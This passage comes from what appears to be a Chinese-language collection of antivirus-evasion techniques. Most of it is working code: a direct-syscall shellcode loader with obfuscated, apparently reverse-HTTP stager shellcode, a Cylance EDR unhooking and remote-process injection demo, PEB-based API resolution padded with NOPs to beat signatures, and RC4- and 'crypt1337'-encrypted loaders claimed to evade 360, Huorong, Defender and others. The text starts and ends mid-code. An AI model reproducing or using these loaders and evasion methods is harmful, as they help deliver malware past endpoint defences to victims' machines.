  84. }
  85. if (hToken) {
  86. CloseHandle(hToken);
  87. }
  88. return fRet;
  89. }
  90. BOOL SetDebugPrivilege() {
  91. HANDLE hToken = NULL;
  92. TOKEN_PRIVILEGES TokenPrivileges = { 0 };
  93. if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) {
  94. return FALSE;
  95. }
  96. TokenPrivileges.PrivilegeCount = 1;
  97. TokenPrivileges.Privileges[0].Attributes = TRUE ? SE_PRIVILEGE_ENABLED : 0;
  98. LPWSTR lpwPriv = L"SeDebugPrivilege";
  99. if (!LookupPrivilegeValueW(NULL, (LPCWSTR)lpwPriv, &TokenPrivileges.Privileges[0].Luid)) {
  100. CloseHandle(hToken);
  101. return FALSE;
  102. }
  103. if (!AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
  104. CloseHandle(hToken);
  105. return FALSE;
  106. }
  107. CloseHandle(hToken);
  108. return TRUE;
  109. }
  110. int wmain(int argc, wchar_t* argv[]) {
  111. // 仅支持64位系统
  112. if (sizeof(LPVOID) != 8) {
  113. exit(1);
  114. }
  115. //判断是否为管理员权限
  116. if (!IsElevated()) {
  117. exit(1);
  118. }
  119. SetDebugPrivilege();
  120. PWIN_VER_INFO pWinVerInfo = (PWIN_VER_INFO)calloc(1, sizeof(WIN_VER_INFO));
  121. // 获取版本信息
  122. OSVERSIONINFOEXW osInfo;
  123. LPWSTR lpOSVersion;
  124. osInfo.dwOSVersionInfoSize = sizeof(osInfo);
  125. _RtlGetVersion RtlGetVersion = (_RtlGetVersion)
  126. GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlGetVersion");
  127. if (RtlGetVersion == NULL) {
  128. return FALSE;
  129. }
  130. wprintf(L"[1] Checking OS version details:\n");
  131. RtlGetVersion(&osInfo);
  132. swprintf_s(pWinVerInfo->chOSMajorMinor, _countof(pWinVerInfo->chOSMajorMinor), L"%u.%u", osInfo.dwMajorVersion, osInfo.dwMinorVersion);
  133. pWinVerInfo->dwBuildNumber = osInfo.dwBuildNumber;
  134. if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"10.0") == 0) {
  135. lpOSVersion = L"10 or Server 2016";
  136. wprintf(L" [+] Operating System is Windows %ls, build number %d\n", lpOSVersion, pWinVerInfo->dwBuildNumber);
  137. wprintf(L" [+] Mapping version specific System calls.\n");
  138. NtAllocateVirtualMemory = &NtAllocateVirtualMemory10;
  139. ZwProtectVirtualMemory = &ZwProtectVirtualMemory10;
  140. NtCreateThread = &NtCreateThread10;
  141. pWinVerInfo->SystemCall = 0x3F;
  142. }
  143. else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.1") == 0 && osInfo.dwBuildNumber == 7601) {
  144. lpOSVersion = L"7 SP1 or Server 2008 R2";
  145. wprintf(L" [+] Operating System is Windows %ls, build number %d\n", lpOSVersion, pWinVerInfo->dwBuildNumber);
  146. wprintf(L" [+] Mapping version specific System calls.\n");
  147. NtAllocateVirtualMemory = &NtAllocateVirtualMemory7SP1;
  148. ZwProtectVirtualMemory = &ZwProtectVirtualMemory7SP1;
  149. NtCreateThread = &NtCreateThread7SP1;
  150. pWinVerInfo->SystemCall = 0x3C;
  151. }
  152. else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.2") == 0) {
  153. lpOSVersion = L"8 or Server 2012";
  154. wprintf(L" [+] Operating System is Windows %ls, build number %d\n", lpOSVersion, pWinVerInfo->dwBuildNumber);
  155. exit(1);
  156. wprintf(L" [+] Mapping version specific System calls.\n");
  157. pWinVerInfo->SystemCall = 0x3D;
  158. }
  159. else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.3") == 0) {
  160. lpOSVersion = L"8.1 or Server 2012 R2";
  161. wprintf(L" [+] Operating System is Windows %ls, build number %d\n", lpOSVersion, pWinVerInfo->dwBuildNumber);
  162. wprintf(L" [+] Mapping version specific System calls.\n");
  163. NtAllocateVirtualMemory = &NtAllocateVirtualMemory81;
  164. ZwProtectVirtualMemory = &ZwProtectVirtualMemory81;
  165. NtCreateThread = &NtCreateThread81;
  166. pWinVerInfo->SystemCall = 0x3E;
  167. }
  168. else {
  169. wprintf(L" [!] OS Version not supported.\n\n");
  170. exit(1);
  171. }
  172. /*
  173. Shellcode 每三个字节替换成\x00 进行加密
  174. */
  175. unsigned char data[] = "\x00\xe8\x89\x00\x00\x00\x00\x89\xe5\x00\xd2\x64\x00\x52\x30\x00\x52\x0c\x00\x52\x14\x00\x72\x28\x00\xb7\x4a\x00\x31\xff\x00\xc0\xac\x00\x61\x7c\x00\x2c\x20\x00\xcf\x0d\x00\xc7\xe2\x00\x52\x57\x00\x52\x10\x00\x42\x3c\x00\xd0\x8b\x00\x78\x85\x00\x74\x4a\x00\xd0\x50\x00\x48\x18\x00\x58\x20\x00\xd3\xe3\x00\x49\x8b\x00\x8b\x01\x00\x31\xff\x00\xc0\xac\x00\xcf\x0d\x00\xc7\x38\x00\x75\xf4\x00\x7d\xf8\x00\x7d\x24\x00\xe2\x58\x00\x58\x24\x00\xd3\x66\x00\x0c\x4b\x00\x58\x1c\x00\xd3\x8b\x00\x8b\x01\x00\x89\x44\x00\x24\x5b\x00\x61\x59\x00\x51\xff\x00\x58\x5f\x00\x8b\x12\x00\x86\x5d\x00\x6e\x65\x00\x00\x68\x00\x69\x6e\x00\x54\x68\x00\x77\x26\x00\xff\xd5\x00\x00\x00\x00\x00\x31\x00\x57\x57\x00\x57\x57\x00\x3a\x56\x00\xa7\xff\x00\xe9\xa4\x00\x00\x00\x00\x31\xc9\x00\x51\x6a\x00\x51\x51\x00\xbb\x01\x00\x00\x53\x00\x68\x57\x00\x9f\xc6\x00\xd5\x50\x00\x8c\x00\x00\x00\x5b\x00\xd2\x52\x00\x00\x32\x00\x84\x52\x00\x52\x53\x00\x50\x68\x00\x55\x2e\x00\xff\xd5\x00\xc6\x83\x00\x50\x68\x00\x33\x00\x00\x89\xe0\x00\x04\x50\x00\x1f\x56\x00\x75\x46\x00\x86\xff\x00\x5f\x31\x00\x57\x57\x00\xff\x53\x00\x68\x2d\x00\x18\x7b\x00\xd5\x85\x00\x0f\x84\x00\x01\x00\x00\x31\xff\x00\xf6\x74\x00\x89\xf9\x00\x09\x68\x00\xc5\xe2\x00\xff\xd5\x00\xc1\x68\x00\x21\x5e\x00\xff\xd5\x00\xff\x57\x00\x07\x51\x00\x50\x68\x00\x57\xe0\x00\xff\xd5\x00\x00\x2f\x00\x00\x39\x00\x75\x07\x00\x50\xe9\x00\xff\xff\x00\x31\xff\x00\x91\x01\x00\x00\xe9\x00\x01\x00\x00\xe8\x6f\x00\xff\xff\x00\x77\x42\x00\x6d\x00\x00\x42\xc6\x00\x6f\xba\x00\x3d\xd8\x00\xfc\x47\x00\xbc\xdc\x00\xe5\xb9\x00\x57\x1e\x00\xe6\xd9\x00\x4f\x31\x00\x37\x66\x00\x69\xf2\x00\xae\xf8\x00\x5d\xde\x00\x53\x49\x00\x59\x04\x00\x49\x62\x00\x1d\x70\x00\xd4\xcb\x00\x66\x6d\x00\x06\x5b\x00\xe8\xc7\x00\xf2\xcf\x00\xa7\x75\x00\x9a\xb0\x00\x00\x55\x00\x65\x72\x00\x41\x67\x00\x6e\x74\x00\x20\x4d\x00\x7a\x69\x00\x6c\x61\x00\x34\x2e\x00\x20\x28\x00\x6f\x6d\x00\x61\x74\x00\x62\x6c\x00\x3b\x20\x00\x53\x49\x00\x20\x37\x00\x30\x3b\x00\x57\x69\x00\x64\x6f\x00\x73\x20\x00\x54\x20\x00\x2e\x31\x00\x20\x54\x00\x69\x64\x00\x6e\x74\x00\x34\x2e\x00\x29\x0d\x00\x00\x65\x00\x75\x9d\x00\x44\xb7\x00\xc6\x44\x00\xdc\xc8\x00\x94\xf1\x00\x08\x48\x00\xac\xac\x00\xf0\xfa\x00\xf4\x24\x00\x95\xec\x00\xbe\x97\x00\x01\x5e\x00\x85\x66\x00\xd3\x11\x00\xd8\xb5\x00\x4b\x87\x00\x84\x9f\x00\x50\x09\x00\x54\x1b\x00\xc0\x50\x00\x75\xd9\x00\xa2\x05\x00\x23\x9d\x00\x5b\x20\x00\xf3\x86\x00\x3b\x9f\x00\x07\x77\x00\xa0\x8a\x00\x5a\x87\x00\x64\xd1\x00\xcf\xe2\x00\xa1\x26\x00\xdb\x63\x00\xca\x11\x00\x48\x45\x00\x5c\x05\x00\x42\x1e\x00\x9a\x23\x00\xb0\xe7\x00\xfa\x35\x00\xf4\xe3\x00\x31\xe0\x00\xcd\x8f\x00\xf8\x14\x00\x0f\x89\x00\x03\xa2\x00\xce\x2b\x00\x5f\x57\x00\x32\xac\x00\x3e\xad\x00\xa8\xc8\x00\x66\x01\x00\x6c\xa9\x00\x36\xed\x00\xa2\x57\x00\x95\x06\x00\x9b\x07\x00\xc4\x02\x00\x44\xf0\x00\x9e\x36\x00\x6f\xdf\x00\x33\xce\x00\xa9\xce\x00\xce\x0a\x00\xf4\xb9\x00\x5c\xae\x00\x23\xce\x00\xac\x8f\x00\x09\x85\x00\x37\xb9\x00\x25\x6b\x00\x38\xe3\x00\xda\xd9\x00\x96\x1c\x00\x0c\x00\x00\xf0\xb5\x00\x56\xff\x00\x6a\x40\x00\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x00\xa4\x53\x00\xff\xd5\x00\xb9\x00\x00\x00\x00\x00\xd9\x51\x00\x89\xe7\x00\x68\x00\x00\x00\x00\x00\x56\x68\x00\x96\x89\x00\xff\xd5\x00\xc0\x74\x00\x8b\x07\x00\xc3\x85\x00\x75\xe5\x00\xc3\xe8\x00\xfd\xff\x00\x31\x30\x00\x2e\x31\x00\x2e\x31\x00\x36\x2e\x00\x37\x00\x00\x00\x00\x00";
  176. char a1[] = "\xfc\x00\x60\x31\x8b\x8b\x8b\x8b\x0f\x26\x31\x3c\x02\xc1\x01\xf0\x8b\x8b\x01\x40\xc0\x01\x8b\x8b\x01\x3c\x34\xd6\x31\xc1\x01\xe0\x03\x3b\x75\x8b\x01\x8b\x8b\x01\x04\xd0\x24\x5b\x5a\xe0\x5a\xeb\x68\x74\x77\x69\x4c\x07\xe8\x00\xff\x57\x68\x79\xd5\x00\x5b\x51\x03\x68\x00\x50\x89\xff\xe9\x00\x31\x68\xc0\x52\x52\xeb\x3b\x89\xc3\x80\x00\x6a\x6a\x68\x9e\xd5\xff\x6a\x56\x06\xff\xc0\xca\x00\x85\x04\xeb\xaa\x5d\x89\x45\x31\x31\x6a\x56\xb7\x0b\xbf\x00\xc7\x58\x7b\xff\xe9\x00\xc9\x00\xff\x2f\x36\x8b\x20\xaf\xf5\xe9\xb6\xf5\x9b\x86\xbc\x09\x77\x40\x33\x2e\x1a\x31\x64\x02\xb6\x09\x07\xd3\x48\xa8\x73\x2d\x65\x3a\x6f\x6c\x2f\x30\x63\x70\x69\x65\x4d\x45\x2e\x20\x6e\x77\x4e\x35\x3b\x72\x65\x2f\x30\x0a\x1b\xb1\xb6\x11\xa7\x6e\x13\xc6\x3d\x5d\x24\x53\xc2\x36\x91\xfe\x53\x5a\x64\x3b\x31\x02\xf1\x0e\x22\x54\xa9\x33\x03\xa4\x27\x4e\xd9\x6b\xdc\x2f\x09\x3c\x3b\x8d\x26\x74\x43\x03\x83\x66\xc9\x1c\x0e\x9a\xef\x2b\x10\x15\xaf\x89\x8c\x1f\xcb\x51\x5c\xc1\x7a\xed\x94\x2b\x50\x72\x5c\x52\xc5\x97\x1b\xb3\x5c\x68\xa2\xd5\x68\x00\x00\x00\x58\xe5\x93\x00\x01\x53\x57\x20\x53\x12\xe2\x85\xc6\x01\xc0\x58\x89\xff\x33\x30\x39\x33\x00\x06";
  177. SIZE_T Size = sizeof(data);
  178. for (int i = 0; i < sizeof(a1); i++) {
  179. memcpy(&data[i * 3], &a1[i], 1);
  180. }
  181. PVOID lpvAddr = NULL;
  182. NTSTATUS status;
  183. status = NtAllocateVirtualMemory(GetCurrentProcess(), &lpvAddr, 0, &Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  184. RtlMoveMemory(lpvAddr, data, sizeof(data));
  185. HANDLE ThreadHandle = NULL;
  186. CONTEXT NewThreadContext = { 0 };
  187. INITIAL_TEB InitialTeb = { 0 };
  188. OBJECT_ATTRIBUTES ObjAttr2 = { 0 };
  189. CLIENT_ID ReturnTid = { 0 };
  190. if (MyInitTeb(&InitialTeb) != 0) {
  191. return -1;
  192. }
  193. if (MyInitContext(
  194. &NewThreadContext,
  195. (PVOID)lpvAddr,
  196. NULL,
  197. InitialTeb.StackBase) != 0)
  198. {
  199. return -1;
  200. }
  201. InitializeObjectAttributes(&ObjAttr2, NULL, 0, NULL, NULL);
  202. status = ZwProtectVirtualMemory(GetCurrentProcess(), &lpvAddr, &Size, PAGE_EXECUTE, &OldProtection);
  203. status = NtCreateThread(
  204. &ThreadHandle,
  205. THREAD_ALL_ACCESS,
  206. &ObjAttr2,
  207. GetCurrentProcess(),
  208. &ReturnTid,
  209. &NewThreadContext,
  210. &InitialTeb,
  211. FALSE);
  212. WaitForSingleObject(ThreadHandle, INFINITE);
  213. //ULONG OldProtection;
  214. //status = ZwProtectVirtualMemory(GetCurrentProcess(), &lpvAddr, &Size, PAGE_EXECUTE, &OldProtection);
  215. //HANDLE s;
  216. //s = CreateThread(0, 0, lpvAddr, NULL, 0, 0);
  217. //WaitForSingleObject(s, INFINITE);
  218. return 0;
  219. }

Unhook EDR

杀软会 hook 关键函数, 可以修改函数的头部来脱钩 另外 可以使用系统直接调用, 绕过杀软对一些脱钩过程中使用的函数的 hook

https://www.mdsec.co.uk/2019/03/silencing-cylance-a-case-study-in-modern-edrs/ Airboi/bypass-av-note: 免杀技术大杂烩---乱拳也打不死老师傅 - 图6
Airboi/bypass-av-note: 免杀技术大杂烩---乱拳也打不死老师傅 - 图7
Airboi/bypass-av-note: 免杀技术大杂烩---乱拳也打不死老师傅 - 图8

  1. //demo
  2. #include <iostream>
  3. #include <windows.h>
  4. unsigned char buf[] =
  5. "SHELLCODE_GOES_HERE";
  6. struct syscall_table {
  7. int osVersion;
  8. };
  9. // Remove Cylance hook from DLL export
  10. void removeCylanceHook(const char *dll, const char *apiName, char code) {
  11. DWORD old, newOld;
  12. void *procAddress = GetProcAddress(LoadLibraryA(dll), apiName);
  13. printf("[*] Updating memory protection of %s!%s\n", dll, apiName);
  14. VirtualProtect(procAddress, 10, PAGE_EXECUTE_READWRITE, &old);
  15. printf("[*] Unhooking Cylance\n");
  16. memcpy(procAddress, "\x4c\x8b\xd1\xb8", 4);
  17. *((char *)procAddress + 4) = code;
  18. VirtualProtect(procAddress, 10, old, &newOld);
  19. }
  20. int main(int argc, char **argv)
  21. {
  22. if (argc != 2) {
  23. printf("Usage: %s PID\n", argv[0]);
  24. return 2;
  25. }
  26. DWORD processID = atoi(argv[1]);
  27. HANDLE proc = OpenProcess(PROCESS_ALL_ACCESS, false, processID);
  28. if (proc == INVALID_HANDLE_VALUE) {
  29. printf("[!] Error: Could not open target process: %d\n", processID);
  30. return 1;
  31. }
  32. printf("[*] Opened target process %d\n", processID);
  33. printf("[*] Allocating memory in target process with VirtualAllocEx\n");
  34. void *alloc = VirtualAllocEx(proc, NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  35. if (alloc == (void*)0) {
  36. printf("[!] Error: Could not allocate memory in target process\n");
  37. return 1;
  38. }
  39. printf("[*] Allocated %d bytes at memory address %p\n", sizeof(buf), alloc);
  40. printf("[*] Attempting to write into victim process using WriteProcessMemory\n");
  41. if (WriteProcessMemory(proc, alloc, buf, sizeof(buf), NULL) == 0) {
  42. printf("[!] Error: Could not write to target process memory\n");
  43. return 1;
  44. }
  45. printf("[*] WriteProcessMemory successful\n");
  46. // Remove the NTDLL.DLL hook added by userland DLL
  47. removeCylanceHook("ntdll.dll", "ZwCreateThreadEx", 0xBB);
  48. printf("[*] Attempting to spawn shellcode using CreateRemoteThread\n");
  49. HANDLE createRemote = CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, NULL);
  50. printf("[*] Success :D\n");
  51. }

动态调用 API 函数

  1. void* ntAllocateVirtualMemory = GetProcAddress(LoadLibraryA("ntdll.dll"), "NtAllocateVirtualMemory");

https://4hou.win/wordpress/?cat=612

通过动态调用 API 函数的方式来调用 virtualalloc 函数。具体的做法是, load kernel32.dll 库,使用汇编语言从 kernel32 库中取得 virtualalloc 函数在内存中的地址,然后执行。 另外, 假设 Loadlibrary 函数也被 hook 了 (这也太硬核了), 我们也可以从 PEB 中获取函数地址, 下面代码 demo 为 Load kernel32.dll, 再有甚者, 对机器码做了模式匹配, 我们可以在代码中加入一些 nop 指令或者一些正常功能的垃圾混淆代码。

  1. //HMODULE hModule =LoadLibrary(_T("Kernel32.dll"));
  2. HMODULE hModule = NULL;
  3. //LoadLibrary 记得从中加入一些nop指令(空指令雪橇)
  4. //空指令雪橇原理: 针对机器码匹配的话基本是进行模式匹配的
  5. __asm {
  6. mov esi, fs: [0x30]//得到PEB地址
  7. nop
  8. nop
  9. mov esi, [esi + 0xc]//指向PEB_LDR_DATA结构的首地址
  10. mov esi, [esi + 0x1c]//一个双向链表的地址
  11. mov esi, [esi]//得到第二个条目kernelBase的链表
  12. mov esi, [esi]//得到第三个条目kernel32链表(win10)
  13. mov esi, [esi + 0x8] //kernel32.dll地址
  14. mov hModule, esi
  15. }
  16. HANDLE shellcode_handler;
  17. FARPROC Address = GetProcAddress(hModule,"VirtualAlloc");//拿到virtualalloc的地址
  18. _asm
  19. {
  20. push 40h //push传参
  21. push 1000h
  22. push 29Ah
  23. push 0
  24. call Address //函数调用
  25. mov shellcode_handler, eax
  26. }
  27. memcpy(shellcode_handler, newshellcode,sizeof newshellcode);
  28. ((void(*)())shellcode_handler)();

垃圾混淆代码 —-nop nop 空指令雪橇

  1. _asm {
  2. mov esi, fs:[0x30]//得到PEB地址
  3. NOP
  4. NOP
  5. NOP
  6. NOP
  7. NOP
  8. mov esi, [esi + 0xc]//指向PEB_LDR_DATA结构的首地址
  9. NOP
  10. NOP
  11. NOP
  12. NOP
  13. mov esi, [esi + 0x1c]//一个双向链表的地址
  14. NOP
  15. NOP
  16. NOP
  17. NOP
  18. mov esi, [esi]//得到第二个条目kernelBase的链表
  19. NOP
  20. NOP
  21. NOP
  22. mov esi, [esi]//得到第三个条目kernel32链表(win10)
  23. NOP
  24. NOP
  25. mov esi, [esi + 0x8] //kernel32.dll地址
  26. NOP
  27. NOP
  28. mov hModule, esi
  29. }

父进程欺骗

Windows 10 进程镂空技术

https://4hou.win/wordpress/?p=20680

Process Doppelgänging

https://www.4hou.com/technology/9379.html https://juejin.im/entry/5be26746e51d456a09717c9a

Encrypt

AES

//encrypt

  1. using System;
  2. using System.Collections.Generic;
  3. using System.IO;
  4. using System.Linq;
  5. using System.Security.Cryptography;
  6. using System.Text;
  7. public static class Encrypt{
  8. static byte[] KEY = null;
  9. static byte[] IV = null;
  10. static byte[] payload = null;
  11. private static byte[] EncryptBytes(IEnumerable<byte> bytes){
  12. //The ICryptoTransform is created for each call to this method as the MSDN documentation indicates that the public methods may not be thread-safe and so we cannot hold a static reference to an instance
  13. using (var r = Rijndael.Create()){
  14. using (var encryptor = r.CreateEncryptor(KEY, IV)){
  15. return Transform(bytes, encryptor);
  16. }
  17. }
  18. }
  19. private static byte[] DecryptBytes(IEnumerable<byte> bytes)
  20. {
  21. //The ICryptoTransform is created for each call to this method as the MSDN documentation indicates that the public methods may not be thread-safe and so we cannot hold a static reference to an instance
  22. using (var r = Rijndael.Create())
  23. {
  24. using (var decryptor = r.CreateDecryptor(KEY, IV))
  25. {
  26. return Transform(bytes, decryptor);
  27. }
  28. }
  29. }
  30. private static byte[] Transform(IEnumerable<byte> bytes, ICryptoTransform transform){
  31. using (var stream = new MemoryStream()){
  32. using (var cryptoStream = new CryptoStream(stream, transform, CryptoStreamMode.Write)){
  33. foreach (var b in bytes)
  34. cryptoStream.WriteByte(b);
  35. }
  36. return stream.ToArray();
  37. }
  38. }
  39. public static class Encryption_Class
  40. {
  41. public static string Encrypt(string key, string data){
  42. Encoding unicode = Encoding.Unicode;
  43. return Convert.ToBase64String(Encrypt(unicode.GetBytes(key), unicode.GetBytes(data)));
  44. }
  45. public static string Decrypt(string key, string data){
  46. Encoding unicode = Encoding.Unicode;
  47. return unicode.GetString(Encrypt(unicode.GetBytes(key), Convert.FromBase64String(data)));
  48. }
  49. public static byte[] Encrypt(byte[] key, byte[] data){
  50. return EncryptOutput(key, data).ToArray();
  51. }
  52. public static byte[] Decrypt(byte[] key, byte[] data){
  53. return EncryptOutput(key, data).ToArray();
  54. }
  55. private static byte[] EncryptInitalize(byte[] key){
  56. byte[] s = Enumerable.Range(0, 256)
  57. .Select(i => (byte)i)
  58. .ToArray();
  59. for (int i = 0, j = 0; i < 256; i++){
  60. j = (j + key[i % key.Length] + s[i]) & 255;
  61. Swap(s, i, j);
  62. }
  63. return s;
  64. }
  65. private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data)
  66. {
  67. byte[] s = EncryptInitalize(key);
  68. int i = 0;
  69. int j = 0;
  70. return data.Select((b) =>{
  71. i = (i + 1) & 255;
  72. j = (j + s[i]) & 255;
  73. Swap(s, i, j);
  74. return (byte)(b ^ s[(s[i] + s[j]) & 255]);
  75. });
  76. }
  77. private static void Swap(byte[] s, int i, int j){
  78. byte c = s[i];
  79. s[i] = s[j];
  80. s[j] = c;
  81. }
  82. }
  83. }

//decrypt

  1. string Payload_Encrypted;
  2. Payload_Encrypted = "240,222,148,160,253,139,204,128,168,11,132,74";
  3. string[] Payload_Encrypted_Without_delimiterChar = Payload_Encrypted.Split(',');
  4. byte[] _X_to_Bytes = new byte[Payload_Encrypted_Without_delimiterChar.Length];
  5. for (int i = 0; i < Payload_Encrypted_Without_delimiterChar.Length; i++)
  6. {
  7. byte current = Convert.ToByte(Payload_Encrypted_Without_delimiterChar[i].ToString());
  8. _X_to_Bytes[i] = current;
  9. }
  10. byte[] KEY = { 0x11, 0x22, 0x21, 0x00, 0x33, 0x01, 0xd0, 0x00, 0x00, 0xa1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x11, 0x01, 0x11, 0x11, 0x00, 0x00 };
  11. byte[] Finall_Payload = Decrypt(KEY, _X_to_Bytes);
  12. UInt32 funcAddr = VirtualAlloc(0, (UInt32)Finall_Payload.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  13. Marshal.Copy(Finall_Payload, 0, (IntPtr)(funcAddr), Finall_Payload.Length);
  14. IntPtr hThread = IntPtr.Zero;
  15. UInt32 threadId = 0;
  16. IntPtr pinfo = IntPtr.Zero;
  17. uint lpflOldProtect = 0x01;
  18. VirtualProtect((IntPtr)(funcAddr), (UInt32)Finall_Payload.Length, 0x10, lpflOldProtect);
  19. /// execute native code
  20. hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
  21. WaitForSingleObject(hThread, 0xFFFFFFFF);

shellcode 字节替换

xor

crypt1337

bypass 360 火绒 电脑管家 defender NOD32 ~ 卡巴斯基~

  1. //encrypt
  2. using System;
  3. using System.Text;
  4. namespace cryprt1337encrypt
  5. {
  6. class Program
  7. {
  8. static void Main(string[] args)
  9. {
  10. byte[] buf = new byte[835] { xxxx };
  11. String s;
  12. s = l337CryptPlusPlus(buf);
  13. Console.WriteLine(s);
  14. }
  15. private static string l337CryptPlusPlus(byte[] buf)
  16. {
  17. StringBuilder lolbuf = new StringBuilder();
  18. lolbuf.Append("byte[] hahabuf = new byte[");
  19. lolbuf.Append(buf.Length);
  20. lolbuf.Append("]{ ");
  21. byte[] bufclone = (byte[])buf.Clone();
  22. for (int i = 0; i < buf.Length; i++)
  23. {
  24. for (int n = 0; n < i; n++)
  25. {
  26. bufclone[i]++;
  27. }
  28. lolbuf.Append("0x");
  29. lolbuf.AppendFormat("{0:x2}", bufclone[i]);
  30. if (i < buf.Length - 1)
  31. lolbuf.Append(", ");
  32. }
  33. lolbuf.Append(" };");
  34. return lolbuf.ToString();
  35. }
  36. }
  37. }
  1. //decrypt
  2. using System;
  3. using System.Text;
  4. using System.Runtime.InteropServices;
  5. private static byte[] l337deCryptPlusPlus(byte[] buf)
  6. {
  7. StringBuilder lolbuf = new StringBuilder();
  8. byte[] bufclone = (byte[])buf.Clone();
  9. for (int i = 0; i < buf.Length; i++)
  10. {
  11. for (int n = 0; n < i; n++)
  12. {
  13. bufclone[i]--;
  14. }
  15. }
  16. return bufclone;
  17. }

完整版

  1. //加密shellcode
  2. using System;
  3. using System.Text;
  4. namespace cryprt1337encrypt
  5. {
  6. class Program
  7. {
  8. static void Main(string[] args)
  9. {
  10. byte[] buf = new byte[835] { xxxx };
  11. String s;
  12. s = l337CryptPlusPlus(buf);
  13. Console.WriteLine(s);
  14. }
  15. private static string l337CryptPlusPlus(byte[] buf)
  16. {
  17. StringBuilder lolbuf = new StringBuilder();
  18. lolbuf.Append("byte[] hahabuf = new byte[");
  19. lolbuf.Append(buf.Length);
  20. lolbuf.Append("]{ ");
  21. byte[] bufclone = (byte[])buf.Clone();
  22. for (int i = 0; i < buf.Length; i++)
  23. {
  24. for (int n = 0; n < i; n++)
  25. {
  26. bufclone[i]++;
  27. }
  28. lolbuf.Append("0x");
  29. lolbuf.AppendFormat("{0:x2}", bufclone[i]);
  30. if (i < buf.Length - 1)
  31. lolbuf.Append(", ");
  32. }
  33. lolbuf.Append(" };");
  34. return lolbuf.ToString();
  35. }
  36. }
  37. }
  38. // 输入加密的shellcode,编译exe
  39. using System;
  40. using System.Text;
  41. using System.Runtime.InteropServices;
  42. namespace crypt1337
  43. {
  44. class Program
  45. {
  46. const int SW_HIDE = 0;
  47. const int SW_SHOW = 5;
  48. private static UInt32 MEM_COMMIT = 0x1000;
  49. private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
  50. static void Main(string[] args)
  51. {
  52. byte[] haha = new byte[835] { encrypt_shellcode };
  53. byte[] heihei = l337deCryptPlusPlus(haha);
  54. UInt32 funcAddr = VirtualAlloc(0, (UInt32)heihei.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  55. Marshal.Copy(heihei, 0, (IntPtr)(funcAddr), heihei.Length);
  56. IntPtr hThread = IntPtr.Zero;
  57. UInt32 threadId = 0;
  58. IntPtr pinfo = IntPtr.Zero;
  59. uint lpflOldProtect = 0x01;
  60. VirtualProtect((IntPtr)(funcAddr), (UInt32)heihei.Length, 0x10, lpflOldProtect);
  61. /// execute native code
  62. hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
  63. WaitForSingleObject(hThread, 0xFFFFFFFF);
  64. }
  65. private static byte[] l337deCryptPlusPlus(byte[] buf)
  66. {
  67. StringBuilder lolbuf = new StringBuilder();
  68. byte[] bufclone = (byte[])buf.Clone();
  69. for (int i = 0; i < buf.Length; i++)
  70. {
  71. for (int n = 0; n < i; n++)
  72. {
  73. bufclone[i]--;
  74. }
  75. }
  76. return bufclone;
  77. }
  78. [DllImport("kernel32")]
  79. private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
  80. [DllImport("kernel32")]
  81. public static extern Boolean VirtualProtect(IntPtr lpAddress, UInt32 dwSize, uint flNewProtect, uint lpflOldProtect);
  82. [DllImport("kernel32")]
  83. private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType);
  84. [DllImport("kernel32")]
  85. private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
  86. [DllImport("kernel32")]
  87. private static extern bool CloseHandle(IntPtr handle);
  88. [DllImport("kernel32")]
  89. private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
  90. [DllImport("kernel32")]
  91. private static extern IntPtr GetModuleHandle(string moduleName);
  92. [DllImport("kernel32")]
  93. private static extern UInt32 GetProcAddress(IntPtr hModule, string procName);
  94. [DllImport("kernel32")]
  95. private static extern UInt32 LoadLibrary(string lpFileName);
  96. [DllImport("kernel32")]
  97. private static extern UInt32 GetLastError();
  98. [DllImport("kernel32")]
  99. static extern IntPtr GetConsoleWindow();
  100. [DllImport("User32")]
  101. private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  102. }
  103. }

字节替换

  1. //encrypt
  2. import sys
  3. def main(argv):
  4. filename = argv[1]
  5. with open(filename,"r") as f:
  6. st = f.read()
  7. s = st.split(" \"")[1].split("\";")[0].replace("\\x"," ")[1:]
  8. tmp_1 = ""
  9. tmp_2 = ""
  10. s = s.split(" ")
  11. for i in range(len(s)):
  12. if i % 3 == 0:
  13. tmp_1 = tmp_1 + "\\x" + s[i]
  14. s[i] = "00"
  15. t = "\\x".join(s)
  16. print("unsigned char data[] = \"\\x"+t+"\";")
  17. print("char a1[] = \""+tmp_1+"\";")
  18. if __name__ == "__main__":
  19. main(sys.argv)
  1. //decrypt
  2. for (int i = 0; i < sizeof(a1); i++) {
  3. memcpy(&data[i * 3], &a1[i], 1);
  4. }

Dll hijacking

通用 Dll 劫持技术 —-SuperHijacking

https://anhkgg.com/dllhijack/ https://github.com/anhkgg/anhkgg-tools Airboi/bypass-av-note: 免杀技术大杂烩---乱拳也打不死老师傅 - 图9

Airboi/bypass-av-note: 免杀技术大杂烩---乱拳也打不死老师傅 - 图10

代码实现

  1. void* NtCurrentPeb()
  2. {
  3. __asm {
